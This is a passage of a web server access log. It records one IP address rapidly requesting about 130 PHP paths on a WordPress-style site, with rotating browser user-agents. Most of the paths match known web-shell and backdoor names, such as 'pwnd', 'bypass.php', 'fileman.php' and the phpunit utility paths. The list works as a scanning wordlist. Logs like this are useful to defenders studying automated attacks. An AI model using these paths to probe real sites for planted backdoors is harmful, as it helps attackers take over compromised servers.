Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:33 +0300] "GET /wp-admin/js/widgets/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:33 +0300] "GET /wp-content/plugins/fix/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:34 +0300] "GET /wp-includes/category-double.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:34 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:34 +0300] "GET /blog/signatur.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:34 +0300] "GET /wp-includes/assets/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:44:34 +0300] "GET /wp-includes/widgets/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:44:34 +0300] "GET /include/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:44:34 +0300] "GET /gm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:34 +0300] "GET /wp-includes/class-wp-language-pack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.153.151.145 - - [17/Apr/2026:14:44:34 +0300] "GET /js/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:34 +0300] "GET /wp-includes/class-walker-comment-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:34 +0300] "GET /about/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:35 +0300] "GET /file/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:35 +0300] "GET /function/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.153.151.145 - - [17/Apr/2026:14:44:35 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:35 +0300] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:35 +0300] "GET /wp-includes/class-wp-network-query-stat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:44:35 +0300] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.153.151.145 - - [17/Apr/2026:14:44:35 +0300] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:35 +0300] "GET /wp-includes/class-wp-session-tokens-https.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:35 +0300] "GET /wp-admin/js/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:35 +0300] "GET /images/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:35 +0300] "GET /wp-includes/images/crystal/lrs_dage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:35 +0300] "GET /wp-content/upgrade/pdf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:36 +0300] "GET /wp-includes/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:36 +0300] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:44:36 +0300] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:36 +0300] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:36 +0300] "GET /wp-includes/customize/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:36 +0300] "GET /css/fan.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:36 +0300] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:36 +0300] "GET /images/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:36 +0300] "GET /wp-content/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:36 +0300] "GET /wp-admin/css/colors/ectoplasm/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:36 +0300] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:36 +0300] "GET /wp-includes/js/thickbox/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.153.151.145 - - [17/Apr/2026:14:44:37 +0300] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:37 +0300] "GET /wp-content/themes/twentytwentyfour/icascreenshots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.153.151.145 - - [17/Apr/2026:14:44:37 +0300] "GET /wp-content/upgrade/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:37 +0300] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:37 +0300] "GET /wp-admin/css/colors/ocean/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:37 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:37 +0300] "GET /wp-includes/certificates/past.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:37 +0300] "GET /css/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:37 +0300] "GET /wp-content/plugins/pwnd/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:37 +0300] "GET /wp-includes/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:37 +0300] "GET /wsax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:38 +0300] "GET /bless.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:38 +0300] "GET /wp-content/uploads/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:38 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:38 +0300] "GET /wp-content/themes/tflow/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.153.151.145 - - [17/Apr/2026:14:44:38 +0300] "GET /wp-includes/css/dist/footer-default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:38 +0300] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:38 +0300] "GET /wp-includes/widgets/class-wp-widget-meta-request.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:38 +0300] "GET /wp-content/plugins/pwnd/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:38 +0300] "GET /wp-includes/css/dist/edit-widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:38 +0300] "GET /wp-content/plugins/ubh/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:38 +0300] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:39 +0300] "GET /wp-includes/l10n/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.153.151.145 - - [17/Apr/2026:14:44:39 +0300] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:39 +0300] "GET /wp-admin/js/widgets/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:39 +0300] "GET /uploads/xsec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.153.151.145 - - [17/Apr/2026:14:44:39 +0300] "GET /images/Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:39 +0300] "GET /wp-content/plugins/pwnd-1/kurd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:39 +0300] "GET /wp-content/themes/tflow/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:39 +0300] "GET /wp-content/languages/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:39 +0300] "GET /wp-content/uploads/fileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:40 +0300] "GET /wp-includes/widgets/wp-ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.153.151.145 - - [17/Apr/2026:14:44:40 +0300] "GET /wp-includes/IXR/xsec1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:40 +0300] "GET /admin.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:40 +0300] "GET /wp-admin/css/colors/hong1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:40 +0300] "GET /wp-admin/maint/byps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:40 +0300] "GET /wp-includes/images/crystal/sad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:44:40 +0300] "GET /wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:40 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:40 +0300] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:40 +0300] "GET /wp-includes/class-phpmailer-beta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:40 +0300] "GET /wp-includes/ms-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:40 +0300] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:41 +0300] "GET /wp-includes/widgets/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:41 +0300] "GET /chosen.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:41 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:41 +0300] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:41 +0300] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:41 +0300] "GET /page.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:41 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:41 +0300] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:41 +0300] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:41 +0300] "GET /wp-content/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:41 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:42 +0300] "GET /assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:42 +0300] "GET /wp-includes/SimplePie/XML/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:44:42 +0300] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:42 +0300] "GET /wp-content/1.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:42 +0300] "GET /wp-admin/css/colors/blue/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:42 +0300] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:44:42 +0300] "GET /wp-includes/assets/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:42 +0300] "GET /.well-known/acme-challenge/gecko-old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:42 +0300] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:42 +0300] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:42 +0300] "GET /wp-includes/widgets/class-wp-nav-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:42 +0300] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:43 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.153.151.145 - - [17/Apr/2026:14:44:43 +0300] "GET /wp-admin/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:43 +0300] "GET /wp-includes/sitemaps/providers/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:43 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:43 +0300] "GET /wp-includes/rest-api/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:43 +0300] "GET /wp-includes/fonts/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:43 +0300] "GET /shop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:43 +0300] "GET /wp-content/plugins/pwnd-1/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:43 +0300] "GET 